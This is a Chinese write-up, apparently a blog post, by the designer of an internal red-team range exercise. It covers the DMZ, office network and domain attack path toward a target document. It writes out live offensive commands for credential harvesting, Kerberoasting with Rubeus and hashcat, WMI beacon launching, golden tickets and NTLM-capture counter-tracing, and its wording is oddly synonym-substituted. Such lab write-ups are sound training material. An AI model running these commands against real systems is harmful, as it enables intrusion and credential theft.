XX第五届对抗赛

前言

据上次部门内组织的对立赛-记一次内部红蓝对立曾经过去两届了,第四次的时分导师将靶场的网络拓扑重新设计了下,当时是以防卫队的身份参与。这次有幸以靶场环境设计的角色参与,在之前原有网络拓扑的根底下重新部署了破绽环境,便有了本文。
背景引见:目的是拿到企业www.xxx.com的《上市商业方案书.docx》,经过OPENVPN访问。
特别提出的得分规则修正,权限的得分必需有WEBSHELL/交互式SHELL,只要一个破绽回显不给分,愈加倾向调查破绽应用而非破绽考证。

Author: 0ne

DMZ区

图片[1]-XX第五届对抗赛-孤勇者社区
DMZ区大约有9台机器,3台入口点和官网分别用防火墙映射进来模仿互联网,4个页面分别对应xxx.com的四个子域名。

Ngnix解析破绽

在网站目录下写了个upload.html页面,调查途径扫描,上传页面是做了白名单校验,原本是调查在有WAF状况下怎样判别黑白名单,假如一开端就上传webshell,包被阻断就不好判别是程序不允许还是WAF拦截了,会糜费些许时间。但是在实践的过程中思索难度就未启用WAF。仔细的同窗可能看见Ngnix版本信息就会联想到解析破绽,有经历的同窗可能看见PHP+白名单可能也会第一时间联想到解析破绽。
未预期的解?:上传的php代码是在菜鸟教程找的。笔者测试的时分,发现”白名单能够绕过”,win环境+文件上传后未重命名。其中<>?/^*:|”等符号不允许在文件名中呈现。所以有了:

图片[2]-XX第五届对抗赛-孤勇者社区
1.php:.png可以落地1.php,但是文件内容为0kb,绕不过去。哈哈哈嗝,等一个师傅能落地webshellQAQ

PHPStudy后门

常规RCE破绽+win环境+杀软的调查,留了php探针页面。一些常用的下载执行的命令无法运用会被拦截,绕过可自行测试LOLBAS。其实这个破绽实质还是php代码执行,能够直接用file_put_contents()写入一句话:

图片[3]-XX第五届对抗赛-孤勇者社区
很多同窗还是用的system(‘echo/powershell/certutil’)写入,杀软不给力PHP_CGI.exe调powershll/certutil写文件或是解码,进程链未拦截,初衷还是希望大家能代码执行的时分不调用命令执行。

Fastjson破绽

原本想部署的靶场是shiro JRMP链+win+杀软的,奈何不懂java,鼓捣半天没弄出来

原意是想让大家修正yso完成代码执行打shiro JRMP完成内存马/下载执行【java完成】/静态资源写webshell,但卒QAQ
调查JNDI注入+win环境+杀软上线问题,比拟通用的办法就是内存马/下载执行【java完成】/静态资源写webshell,需求本人入手写歹意类完成上述功用,以静态资源为例,如何拿到web途径:

图片[4]-XX第五届对抗赛-孤勇者社区
其中一只攻击队同窗是echo写入再certutil解码:

图片[5]-XX第五届对抗赛-孤勇者社区
假如运用JAVA代码完成歹意EXE的下载执行上线,倡议先判别System.getProperty("os.name")System.getProperty("os.arch")
git有很多优秀的JNDI应用工具能够运用,但是初衷还是希望本人入手完成上述场景定制的歹意类,一个包就打胜利,攻击流量不要太多。

办公网

图片[6]-XX第五届对抗赛-孤勇者社区
办公网大约有7台主机经过DMZ区redis打过来,其中SMB泄露的账号密码直接用impacket包横向挪动的脚本应用。同事帮助搭了log4j破绽的环境和完善了办公网的途径分,log4j的应用和fastjson那台应用手法类似。
办公网跨域还是沿用了上次的保管的RDP衔接记载。
需求提及的就是从域外如何发现域,除了网络侧netbios扫描或是88&389等常用端口的扫描【需求晓得网段,很可能触发大量流量】,若工作组主机DNS效劳器是域控时,可nslookup 域名依据返回DNS效劳器称号判别能否有域,主机侧还能够搜集的信息就是cmdkey /list |findstr Domain和mimikatz搜集的凭据。

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

RDP密码破解参考。

域环境

图片[7]-XX第五届对抗赛-孤勇者社区
域环境有8台主机,靶标在corp1.com域内,需求拿下corp1域管权限才干登录。
域内局部主机不出网,以下便当复现给VPSIP开了出网白名单,实践处理可应用beacon_bind_pipe/beacon_bind_tcp/pivot listener
应用RDP破解的dev\user02登录C06,有applocker,限制了执行的程序,于是dll上线,白+黑参考LOLBAS。

dev01.dev.corp1.com-10.5.12.248,起socks4A代理域外sAMAccountName spoofing直接打,应用胜利会生成一张域管访问dev01的ST,PTT应用secretsdump.py获取krbtgt:

图片[8]-XX第五届对抗赛-孤勇者社区
生成黄金票据:

域内横向挪动常见办法:SC, AT/SCHTASKS, PSEXEC, WMI, WINRM, DCOM.

上线dev01,CS自带的remote-exec wmi报错,psexec执行上线了但是又掉了,不稳定,还是手敲:

shell wmic /node:dev01 process call create "C:\xx\beacon.exe"

在DEV01-beacon运转mimikatz获取凭证发现corp1\jeff用户,steal jeff用户的token,再Kerberoasting,发现报错:

图片[9]-XX第五届对抗赛-孤勇者社区
只好pth,模仿corp1\jeff权限:

图片[10]-XX第五届对抗赛-孤勇者社区
在corp1域Kerberoasting发现SPNuser->user_S02:

execute-assembly C:\Users\Rubeus.exe kerberoast /outfile:C:\Users\jeff\tgs.txt
hashcat -m 13100 -a 0 --force tgs.txt /usr/share/wordlists/FastPwds.txt

图片[11]-XX第五届对抗赛-孤勇者社区
在dev01-beacon以corp1\user_S02派生会话,发现失败,不能登录,于是在C06上派生会话,以corp1\user_S02进入corp1域内:

图片[12]-XX第五届对抗赛-孤勇者社区
发现corp1\user_S02是S02的管理员:

图片[13]-XX第五届对抗赛-孤勇者社区
和上线dev01一样,上线S02:

图片[14]-XX第五届对抗赛-孤勇者社区
发现S02上跑着corp1域管的进程:

图片[15]-XX第五届对抗赛-孤勇者社区
窃取token,corp1域管权限,胜利拿下靶标S03,窃取目的文件:

题外话

溯源反制是可遇不可求的事,经过攻击流量找到人或是反制C2通常是攻击的VPS关联了本人的域名信息,或是有本人ID的payload,或是踩了蜜罐。反制可能是攻击者在不恰当的目录下开了http效劳。
上次攻防对立的时分用了UNC获取攻击者ID,还比拟好使:

图片[16]-XX第五届对抗赛-孤勇者社区
应用desktop.ini获取访问诱饵文件的ntlm恳求,做好后紧缩为www.zip,等人下载解压。
图片[17]-XX第五届对抗赛-孤勇者社区
由于在/root目录下误启用python-http效劳招致的反制:

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像惨果0
    • 头像杨卡0